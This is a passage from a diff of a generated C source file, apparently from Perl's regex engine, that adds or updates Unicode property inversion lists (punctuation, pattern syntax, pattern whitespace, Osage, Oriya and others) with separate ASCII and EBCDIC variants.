+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10C00,
+	0x10C49
+};
+
+static const UV PL_ORNAMENTALDINGBATS_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x1F650,
+	0x1F680
+};
+
+static const UV PL_ORYA_invlist[] = { /* for all charsets */
+	33,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x951,
+	0x953,
+	0x964,
+	0x966,
+	0xB01,
+	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
+	0xB3C,
+	0xB45,
+	0xB47,
+	0xB49,
+	0xB4B,
+	0xB4E,
+	0xB56,
+	0xB58,
+	0xB5C,
+	0xB5E,
+	0xB5F,
+	0xB64,
+	0xB66,
+	0xB78
+};
+
+static const UV PL_OSGE_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x104B0,
+	0x104D4,
+	0x104D8,
+	0x104FC
+};
+
+static const UV PL_OSMA_invlist[] = { /* for all charsets */
+	5,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10480,
+	0x1049E,
+	0x104A0,
+	0x104AA
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_P_invlist[] = { /* for ASCII/Latin1 */
+	345,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x24,
+	0x25,
+	0x2B,
+	0x2C,
+	0x30,
+	0x3A,
+	0x3C,
+	0x3F,
+	0x41,
+	0x5B,
+	0x5E,
+	0x5F,
+	0x60,
+	0x7B,
+	0x7C,
+	0x7D,
+	0x7E,
+	0xA1,
+	0xA2,
+	0xA7,
+	0xA8,
+	0xAB,
+	0xAC,
+	0xB6,
+	0xB8,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
 	0x55A,
-	0x55D,
-	0x55E,
-	0x561,
-	0x588,
+	0x560,
 	0x589,
-	0x58A,
-	0x591,
+	0x58B,
 	0x5BE,
 	0x5BF,
 	0x5C0,
@@ -76580,34 +323476,5968 @@
 	0x5C4,
 	0x5C6,
 	0x5C7,
-	0x5C8,
-	0x5D0,
-	0x5EB,
-	0x5F0,
-	0x5F4,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF3A,
+	0xF3E,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x169B,
+	0x169D,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x205F,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x303D,
+	0x303E,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_P_invlist[] = { /* for EBCDIC 1047 */
+	353,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x6E,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF3A,
+	0xF3E,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x169B,
+	0x169D,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x205F,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x303D,
+	0x303E,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_P_invlist[] = { /* for EBCDIC 037 */
+	351,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4B,
+	0x4C,
+	0x4D,
+	0x4E,
+	0x50,
+	0x51,
+	0x5A,
+	0x5B,
+	0x5C,
+	0x5F,
+	0x60,
+	0x62,
+	0x6B,
+	0x6E,
+	0x6F,
+	0x70,
+	0x7A,
+	0x7E,
+	0x7F,
+	0x80,
+	0x8A,
+	0x8C,
+	0xAA,
+	0xAC,
+	0xB3,
+	0xB4,
+	0xB5,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xC0,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE1,
+	0x37E,
+	0x37F,
+	0x387,
+	0x388,
+	0x55A,
+	0x560,
+	0x589,
+	0x58B,
+	0x5BE,
+	0x5BF,
+	0x5C0,
+	0x5C1,
+	0x5C3,
+	0x5C4,
+	0x5C6,
+	0x5C7,
+	0x5F3,
+	0x5F5,
+	0x609,
+	0x60B,
+	0x60C,
+	0x60E,
+	0x61B,
+	0x61C,
+	0x61E,
+	0x620,
+	0x66A,
+	0x66E,
+	0x6D4,
+	0x6D5,
+	0x700,
+	0x70E,
+	0x7F7,
+	0x7FA,
+	0x830,
+	0x83F,
+	0x85E,
+	0x85F,
+	0x964,
+	0x966,
+	0x970,
+	0x971,
+	0x9FD,
+	0x9FE,
+	0xAF0,
+	0xAF1,
+	0xDF4,
+	0xDF5,
+	0xE4F,
+	0xE50,
+	0xE5A,
+	0xE5C,
+	0xF04,
+	0xF13,
+	0xF14,
+	0xF15,
+	0xF3A,
+	0xF3E,
+	0xF85,
+	0xF86,
+	0xFD0,
+	0xFD5,
+	0xFD9,
+	0xFDB,
+	0x104A,
+	0x1050,
+	0x10FB,
+	0x10FC,
+	0x1360,
+	0x1369,
+	0x1400,
+	0x1401,
+	0x166D,
+	0x166F,
+	0x169B,
+	0x169D,
+	0x16EB,
+	0x16EE,
+	0x1735,
+	0x1737,
+	0x17D4,
+	0x17D7,
+	0x17D8,
+	0x17DB,
+	0x1800,
+	0x180B,
+	0x1944,
+	0x1946,
+	0x1A1E,
+	0x1A20,
+	0x1AA0,
+	0x1AA7,
+	0x1AA8,
+	0x1AAE,
+	0x1B5A,
+	0x1B61,
+	0x1BFC,
+	0x1C00,
+	0x1C3B,
+	0x1C40,
+	0x1C7E,
+	0x1C80,
+	0x1CC0,
+	0x1CC8,
+	0x1CD3,
+	0x1CD4,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x2044,
+	0x2045,
+	0x2052,
+	0x2053,
+	0x205F,
+	0x207D,
+	0x207F,
+	0x208D,
+	0x208F,
+	0x2308,
+	0x230C,
+	0x2329,
+	0x232B,
+	0x2768,
+	0x2776,
+	0x27C5,
+	0x27C7,
+	0x27E6,
+	0x27F0,
+	0x2983,
+	0x2999,
+	0x29D8,
+	0x29DC,
+	0x29FC,
+	0x29FE,
+	0x2CF9,
+	0x2CFD,
+	0x2CFE,
+	0x2D00,
+	0x2D70,
+	0x2D71,
+	0x2E00,
+	0x2E2F,
+	0x2E30,
+	0x2E4A,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3012,
+	0x3014,
+	0x3020,
+	0x3030,
+	0x3031,
+	0x303D,
+	0x303E,
+	0x30A0,
+	0x30A1,
+	0x30FB,
+	0x30FC,
+	0xA4FE,
+	0xA500,
+	0xA60D,
+	0xA610,
+	0xA673,
+	0xA674,
+	0xA67E,
+	0xA67F,
+	0xA6F2,
+	0xA6F8,
+	0xA874,
+	0xA878,
+	0xA8CE,
+	0xA8D0,
+	0xA8F8,
+	0xA8FB,
+	0xA8FC,
+	0xA8FD,
+	0xA92E,
+	0xA930,
+	0xA95F,
+	0xA960,
+	0xA9C1,
+	0xA9CE,
+	0xA9DE,
+	0xA9E0,
+	0xAA5C,
+	0xAA60,
+	0xAADE,
+	0xAAE0,
+	0xAAF0,
+	0xAAF2,
+	0xABEB,
+	0xABEC,
+	0xFD3E,
+	0xFD40,
+	0xFE10,
+	0xFE1A,
+	0xFE30,
+	0xFE53,
+	0xFE54,
+	0xFE62,
+	0xFE63,
+	0xFE64,
+	0xFE68,
+	0xFE69,
+	0xFE6A,
+	0xFE6C,
+	0xFF01,
+	0xFF04,
+	0xFF05,
+	0xFF0B,
+	0xFF0C,
+	0xFF10,
+	0xFF1A,
+	0xFF1C,
+	0xFF1F,
+	0xFF21,
+	0xFF3B,
+	0xFF3E,
+	0xFF3F,
+	0xFF40,
+	0xFF5B,
+	0xFF5C,
+	0xFF5D,
+	0xFF5E,
+	0xFF5F,
+	0xFF66,
+	0x10100,
+	0x10103,
+	0x1039F,
+	0x103A0,
+	0x103D0,
+	0x103D1,
+	0x1056F,
+	0x10570,
+	0x10857,
+	0x10858,
+	0x1091F,
+	0x10920,
+	0x1093F,
+	0x10940,
+	0x10A50,
+	0x10A59,
+	0x10A7F,
+	0x10A80,
+	0x10AF0,
+	0x10AF7,
+	0x10B39,
+	0x10B40,
+	0x10B99,
+	0x10B9D,
+	0x11047,
+	0x1104E,
+	0x110BB,
+	0x110BD,
+	0x110BE,
+	0x110C2,
+	0x11140,
+	0x11144,
+	0x11174,
+	0x11176,
+	0x111C5,
+	0x111CA,
+	0x111CD,
+	0x111CE,
+	0x111DB,
+	0x111DC,
+	0x111DD,
+	0x111E0,
+	0x11238,
+	0x1123E,
+	0x112A9,
+	0x112AA,
+	0x1144B,
+	0x11450,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x114C6,
+	0x114C7,
+	0x115C1,
+	0x115D8,
+	0x11641,
+	0x11644,
+	0x11660,
+	0x1166D,
+	0x1173C,
+	0x1173F,
+	0x11A3F,
+	0x11A47,
+	0x11A9A,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11C41,
+	0x11C46,
+	0x11C70,
+	0x11C72,
+	0x12470,
+	0x12475,
+	0x16A6E,
+	0x16A70,
+	0x16AF5,
+	0x16AF6,
+	0x16B37,
+	0x16B3C,
+	0x16B44,
+	0x16B45,
+	0x1BC9F,
+	0x1BCA0,
+	0x1DA87,
+	0x1DA8C,
+	0x1E95E,
+	0x1E960
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PALM_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x10860,
+	0x10880
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PATSYN_invlist[] = { /* for ASCII/Latin1 */
+	57,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x21,
+	0x30,
+	0x3A,
+	0x41,
+	0x5B,
+	0x5F,
+	0x60,
+	0x61,
+	0x7B,
+	0x7F,
+	0xA1,
+	0xA8,
+	0xA9,
+	0xAA,
+	0xAB,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB0,
+	0xB2,
+	0xB6,
+	0xB7,
+	0xBB,
+	0xBC,
+	0xBF,
+	0xC0,
+	0xD7,
+	0xD8,
+	0xF7,
+	0xF8,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0xFD3E,
+	0xFD40,
+	0xFE45,
+	0xFE47
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PATSYN_invlist[] = { /* for EBCDIC 1047 */
+	61,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAD,
+	0xAE,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB7,
+	0xBD,
+	0xBE,
+	0xBF,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0xFD3E,
+	0xFD40,
+	0xFE45,
+	0xFE47
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PATSYN_invlist[] = { /* for EBCDIC 037 */
+	59,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x4A,
+	0x51,
+	0x5A,
+	0x62,
+	0x6A,
+	0x6D,
+	0x6E,
+	0x70,
+	0x79,
+	0x80,
+	0x8A,
+	0x8C,
+	0x8F,
+	0x91,
+	0x9F,
+	0xA0,
+	0xA1,
+	0xA2,
+	0xAA,
+	0xAC,
+	0xAF,
+	0xB3,
+	0xB4,
+	0xB7,
+	0xBA,
+	0xBC,
+	0xBF,
+	0xC1,
+	0xD0,
+	0xD1,
+	0xE0,
+	0xE2,
+	0x2010,
+	0x2028,
+	0x2030,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0x205F,
+	0x2190,
+	0x2460,
+	0x2500,
+	0x2776,
+	0x2794,
+	0x2C00,
+	0x2E00,
+	0x2E80,
+	0x3001,
+	0x3004,
+	0x3008,
+	0x3021,
+	0x3030,
+	0x3031,
+	0xFD3E,
+	0xFD40,
+	0xFE45,
+	0xFE47
+};
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PATWS_invlist[] = { /* for ASCII/Latin1 */
+	11,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x9,
+	0xE,
+	0x20,
+	0x21,
+	0x85,
+	0x86,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PATWS_invlist[] = { /* for EBCDIC 1047 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x41,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PATWS_invlist[] = { /* for EBCDIC 037 */
+	15,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5,
+	0x6,
+	0xB,
+	0xE,
+	0x15,
+	0x16,
+	0x25,
+	0x26,
+	0x40,
+	0x41,
+	0x200E,
+	0x2010,
+	0x2028,
+	0x202A
+};
+
+#   endif	/* EBCDIC 037 */
+
+static const UV PL_PAUC_invlist[] = { /* for all charsets */
+	3,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x11AC0,
+	0x11AF9
+};
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+static const UV PL_PC_invlist[] = { /* for ASCII/Latin1 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x5F,
+	0x60,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 193 /* EBCDIC 1047 */ \
+     && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \
+     && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV PL_PC_invlist[] = { /* for EBCDIC 1047 */
+	13,	/* Number of elements */
+	148565664, /* Version and data structure type */
+	1,	/* 0 if the list starts at 0;
+		   1 if it starts at the element beyond 0 */
+	0x0,
+	0x6D,
+	0x6E,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
+	0xFF3F,
+	0xFF40
+};
+
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
